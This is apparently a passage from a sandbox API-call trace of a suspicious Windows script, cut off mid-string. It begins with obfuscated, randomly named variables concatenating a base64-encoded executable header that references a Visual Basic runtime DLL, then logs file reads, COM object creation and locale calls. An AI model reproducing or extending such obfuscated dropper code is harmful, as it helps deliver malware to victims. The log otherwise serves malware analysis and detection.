lewuaqSOwMdlDZyrwimTCRVHmDIhhUQDhaCtnpbUxWELDNvnmzWGZCXTIpHWilhbwZDdWFEGGSVfNKDZIVuhxJdfCjlyhFmMpcPeJSRhvQAHgrGxliONqzdmwYanTGYBgJqlvZPqDNmhJWyLcnNyrZWqychlrdNprybXBVCLTYJcNwdaZOKgsZKHnzmSsdyZzwqLubJHkB\r\nJizQqQTrMAEKVWncTOvBvMlqaGpWhVWKiAEoPJESMMPzTGYK = JizQqQTrMAEKVWncTOvBvMlqaGpWhVWKiAEoPJESMMPzTGYK + \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADHv3nag94XiYPeF4mD3heJAMIZiYLeF4nM/B6Jh94XibX4GomC3heJUmljaIPeF4kAAAAAAAAAAFBFAABMAQMAvKIFUAAAAAAAAAAA4AAPAQsBBgAAcA0AABABAAAAAABAEgAAABAAAACADQAAAEAAABAAAAAQAAAEAAAAAQAAAAQAAAAAAAAAAJAOAAAQAABEyQ4AAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAtHENACgAAAAAsA0A0NMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAgAAIAAAAAAQAADEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABMZQ0AABAAAABwDQAAEAAAAAAAAAAAAAAAAAAAIAAAYC5kYXRhAAAANCEAAACADQAAEAAAAIANAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAANDTAAAAsA0AAOAAAACQDQAAAAAAAAAAAAAAAABAAABAbNpbShAAAAAAAAAAAAAAAE1TVkJWTTYwLkRMTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") returned 1284222 [0120.294] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1 [0120.304] CloseHandle (hObject=0x120) returned 1 [0120.304] CloseHandle (hObject=0x11c) returned 1 [0120.304] GetSystemDirectoryA (in: lpBuffer=0x24edf8, uSize=0x0 | out: lpBuffer="") returned 0x14 [0120.304] GetSystemDirectoryA (in: lpBuffer=0x5073e0, uSize=0x15 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0120.304] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\advapi32.dll") returned 0x7feff2b0000 [0120.304] GetProcAddress (hModule=0x7feff2b0000, lpProcName="SaferIdentifyLevel") returned 0x7feff2ce470 [0120.304] GetProcAddress (hModule=0x7feff2b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x7feff2cf9b0 [0120.304] GetProcAddress (hModule=0x7feff2b0000, lpProcName="SaferCloseLevel") returned 0x7feff2cf660 [0120.304] IdentifyCodeAuthzLevelW () returned 0x1 [0125.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24df70 | out: lpSystemTimeAsFileTime=0x24df70*(dwLowDateTime=0x59f92830, dwHighDateTime=0x1d3f29b)) [0125.022] GetCurrentProcessId () returned 0xaa0 [0125.022] GetCurrentThreadId () returned 0xaa4 [0125.022] GetTickCount () returned 0x276c4 [0125.022] QueryPerformanceCounter (in: lpPerformanceCount=0x24df78 | out: lpPerformanceCount=0x24df78*=596449350) returned 1 [0125.023] GetVersionExA (in: lpVersionInformation=0x24dd50*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0xf42ff810, dwBuildNumber=0x7fe, dwPlatformId=0xf42f0000, szCSDVersion="þ\x07") | out: lpVersionInformation=0x24dd50*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0125.023] GetUserDefaultLCID () returned 0x409 [0125.023] IsFileSupportedName () returned 0x1 [0125.023] _wcsicmp (_String1=".vbs", _String2=".js") returned 12 [0125.023] _wcsicmp (_String1=".vbe", _String2=".js") returned 12 [0125.023] _wcsicmp (_String1=".js", _String2=".js") returned 0 [0125.027] GetSignedDataMsg () returned 0x0 [0125.027] GetCurrentProcess () returned 0xffffffffffffffff [0125.027] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x120, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x24e5b0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x24e5b0*=0x14c) returned 1 [0125.027] GetFileSize (in: hFile=0x14c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13987e [0125.028] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.028] ReadFile (in: hFile=0x14c, lpBuffer=0x2380040, nNumberOfBytesToRead=0x13987e, lpNumberOfBytesRead=0x24e590, lpOverlapped=0x0 | out: lpBuffer=0x2380040*, lpNumberOfBytesRead=0x24e590*=0x13987e, lpOverlapped=0x0) returned 1 [0125.046] CoInitialize (pvReserved=0x0) returned 0x1 [0125.046] CoCreateInstance (in: rclsid=0x7fef42ff850*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef42ff860*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppv=0x24e500 | out: ppv=0x24e500*=0x50a860) returned 0x0 [0125.457] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24c700 | out: lpSystemTimeAsFileTime=0x24c700*(dwLowDateTime=0x5a10f5f0, dwHighDateTime=0x1d3f29b)) [0125.457] GetCurrentProcessId () returned 0xaa0 [0125.457] GetCurrentThreadId () returned 0xaa4 [0125.457] GetTickCount () returned 0x27760 [0125.457] QueryPerformanceCounter (in: lpPerformanceCount=0x24c708 | out: lpPerformanceCount=0x24c708*=597979802) returned 1 [0125.458] __dllonexit () returned 0x7fef41014c0 [0125.458] __dllonexit () returned 0x7fef41014e8 [0125.458] GetVersionExA (in: lpVersionInformation=0x24c4e0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x7fe, dwMinorVersion=0xf4102dc9, dwBuildNumber=0x7fe, dwPlatformId=0xf41014e8, szCSDVersion="þ\x07") | out: lpVersionInformation=0x24c4e0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0125.458] GetProcessWindowStation () returned 0x2c [0125.458] GetUserObjectInformationA (in: hObj=0x2c, nIndex=1, pvInfo=0x24c4c8, nLength=0xc, lpnLengthNeeded=0x24c4c0 | out: pvInfo=0x24c4c8, lpnLengthNeeded=0x24c4c0) returned 1 [0125.459] DllGetClassObject (in: rclsid=0x312250*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), riid=0x7fefe0f6cd0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24d1d0 | out: ppv=0x24d1d0*=0x50a170) returned 0x0 [0125.459] IClassFactory:CreateInstance (in: This=0x50a170, pUnkOuter=0x0, riid=0x24dfb0*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x24d1f0 | out: ppvObject=0x24d1f0*=0x50a860) returned 0x0 [0125.459] GetSystemInfo (in: lpSystemInfo=0x24d030 | out: lpSystemInfo=0x24d030*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0125.459] VirtualQuery (in: lpAddress=0x24d0a0, lpBuffer=0x24d060, dwLength=0x30 | out: lpBuffer=0x24d060*(BaseAddress=0x24d000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xfffff800)) returned 0x30 [0125.460] IUnknown:AddRef (This=0x50a860) returned 0x2 [0125.460] IUnknown:Release (This=0x50a860) returned 0x1 [0125.460] IUnknown:Release (This=0x50a170) returned 0x0 [0125.460] IUnknown:QueryInterface (in: This=0x50a860, riid=0x7fef42ff860*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x24e438 | out: ppvObject=0x24e438*=0x50a860) returned 0x0 [0125.460] IUnknown:Release (This=0x50a860) returned 0x1 [0125.460] _strnicmp (_Str1="?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿏\x02Ā") returned 256 [0147.006] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿏\x02Ā", cchSrc=256, lpCharType=0x18f64c | out: lpCharType=0x18f64c) returned 1 [0147.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc4c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0147.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc4c, cbMultiByte=256, lpWideCharStr=0x18f388, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ켵\x02Ā") returned 256 [0147.006] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0147.006] GetLastError () returned 0x57 [0147.006] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0147.007] GetProcAddress (hModule=0x75fd0000, lpProcName="LCMapStringEx") returned 0x760647f1 [0147.007] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ켵\x02Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0147.007] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ켵\x02Ā", cchSrc=256, lpDestStr=0x18f178, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0147.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18fb4c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿCRHv\x88ý\x18", lpUsedDefaultChar=0x0) returned 256 [0147.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc4c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0147.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc4c, cbMultiByte=256, lpWideCharStr=0x18f3a8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0147.007] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0147.007] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f198, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 